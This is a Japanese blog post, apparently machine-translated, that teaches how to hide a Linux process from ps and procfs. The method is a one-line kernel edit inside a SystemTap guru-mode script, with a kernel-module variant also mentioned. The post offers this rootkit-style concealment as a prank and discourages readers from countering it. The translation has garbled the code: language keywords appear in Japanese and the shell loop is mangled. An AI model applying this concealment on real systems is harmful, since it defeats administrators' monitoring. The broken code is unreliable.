1行のコードでLinuxのプロセスを隠す方法を学ぶ

1行のコードでLinuxのプロセスを隠す方法を学ぶ

友人たちはいつも、Linux のプロセスを隠す方法を私に尋ねます。私は、どの程度隠したいのか、カーネル内で隠したいのか、ユーザーから隠したいのかを尋ねます。

オンラインでの議論はすべて、procfs や同様のユーザー モード ソリューションのフックに関するもので、どれも長文です。これらのシナリオは大きすぎて複雑すぎると私は思います。すぐに結果を見たい人にとっては、このような複雑なものを見るとやる気が失せてしまうかもしれません。

この記事では、たった 1 行のコードで Linux プロセスをユーザーから隠す、型破りな方法を紹介します。

プロセスの pid を変更するだけです。

相手は Xiao Yin なので、反撃する価値はありません。ただ楽しむために、上級カンファレンス エンジニアにいたずらをしましょう。
target->pid = 0x7fffffff;

完全なスクリプトは次のとおりです。

#!/usr/bin/stap -g
#非表示.stp

グローバル pid;

関数hide(who:long)
%{
 構造体task_struct *ターゲット;

 ターゲット = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 ターゲット->pid = 0x7fffffff;
%}

調査開始
{
 pid = $1
 非表示(pid);
 出口();
}

さあ、試してみてください:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost システム]# ./hide.stp
[root@localhost システム]#

プロセスを表示できるすべてのバイナリ ファイルを検出するには、次のコマンドを使用できます。

pid が $(ls /proc|awk '/^[0-9]+/{print $1}') の場合、 
 ls -l /proc/$pid/exe; 
終わり

procfs でそれが消えてしまった場合、ps は当然それを検出できません。

guru-mode stap がおかしいと思われる場合は、独自の独立した Linux カーネル モジュールを作成し、変更と終了の方法を使用できます。

ターゲット->pid = xxxx;
-1 を返します。

各種フックメソッドよりもずっと簡単じゃないですか?いわゆるコードではなくデータを移動するというやつです!

その原理を簡単に説明しましょう。

  • タスクが作成されると、その pid に従って procfs ディレクトリ構造が登録されます。
  • procfs ディレクトリ構造を表示するときは、タスク リストの pid をキーとして使用して procfs ディレクトリ構造を見つけます。
  • 0x7fffffff (またはその他の適切な値) はまったく登録されず、もちろん表示できません。

もう言葉はありません。

もう一度言いますが、この記事で説明した方法に対抗しようとしないでください。こんなに単純なものには対抗する価値がないからです、ハハ、そうですよね?

Linux プロセスがカーネル内に隠れる仕組みをさらに詳しく知るには、以前の Rootkit シリーズの記事を参照してください。同時に、それぞれの方法に対する対策も示しました。

1 行のコードで Linux プロセスを非表示にする方法についての記事はこれで終わりです。Linux の非表示プロセスの詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Linux デバイスに空き容量がありません inode の満杯により 500 エラーが発生します
  • Linux/Nginx で検索エンジン スパイダー クローラーの動作を表示する方法
  • Linux gzip コマンドのファイル圧縮実装原理とコード例
  • Linux のハードリンクとソフトリンクの区別
  • Linux ipcsコマンドの使用
  • SpringBoot + Vue プロジェクトを Linux サーバーにデプロイするための詳細なチュートリアル
  • Linux コマンドラインで電卓を使用する 5 つのコマンド
  • Linux lsコマンドの使用
  • Linux sedコマンドの使用
  • Linux インデックスノード inode の詳細な説明

<<:  Vue3とTypeScriptを組み合わせたプロジェクト開発の実践記録

>>:  Vue-router は現在の場所 (/path) へのナビゲーションを許可しません。エラーの原因と修正

推薦する

Webpack コンポーネントの使用状況統計を実装するための 50 行のコード

背景最近、リーダーからコンポーネント ライブラリを構築するように依頼があり、プロジェクトで現在使用さ...

MySQL 最適化 Zabbix パーティション最適化

zabbix を利用する上での最大のボトルネックはデータベースです。zabbix のデータストレージ...

Win7 システムでの MySQL 5.7.11 の詳細なインストール チュートリアル

オペレーティング システム: Win7 64 ビット Ultimate Edition MySQL ...

MYSQLが中国語を認識できない問題の恒久的な解決策

ほとんどの場合、MySQL はインストールしたばかりのときは中国語をサポートしません。これはエンコー...

Windowsタイムサーバーの設定方法の詳しい説明

最近、会社のサーバーの時間が不正確で、外部の時間ソースと同期できないことがわかりました。会社はドメイ...

Docker を使用してスタンドアロン Pulsar とクラスター化された Redis をデプロイする方法 (開発アーティファクト)

目次1. はじめに: 2. ドッカー: 1 カスタムネットワーク2 展開を開始する3 ネットワークを...

Vueタイマーの実装方法

この記事では、参考までにタイマーを実装するためのVueの具体的なコードを紹介します。具体的な内容は次...

Ubuntu MySQL バージョンが 5.7 にアップグレードされました

数日前、図書館はサーバー(Ubuntu 14.04)にセキュリティ上の脆弱性があり、時間通りに修復さ...

Vue での this.$set の使用に関する詳細な説明

目次Vue での this.$set の使用使用なぜレスポンシブなのか?分析する要約するVue での...

トラフィックの多いウェブサイト向けのソリューション

まず、サーバーのハードウェアが現在のトラフィックをサポートするのに十分かどうかを確認します。通常の ...

MySQL パーティション フィールド列に別のインデックスを作成する必要がありますか?

序文パーティション フィールドは主キーの一部でなければならないことは誰もが知っています。では、複合主...

レスポンシブレイアウトの概要(推奨)

レスポンシブレイアウト開発の基礎知識この章は主に以下の部分に分かれています• レスポンシブデザインを...

vue プロジェクトで rem を使用して px を置き換える例

目次道具プラグインをインストールするプロジェクトのルートディレクトリに.postcssrc.jsファ...

vueはEle.me UIを使用してteambitionのフィルタリング機能を模倣します

目次問題の説明一般的な機能効果は次のとおりです。思考分析完全なコード要約する問題の説明Teambit...

Html、sHtml、XHtml の違いのまとめ

たとえば、<u>には終了文字がなく、ブラウザはそれを認識します。 SHTML は Ser...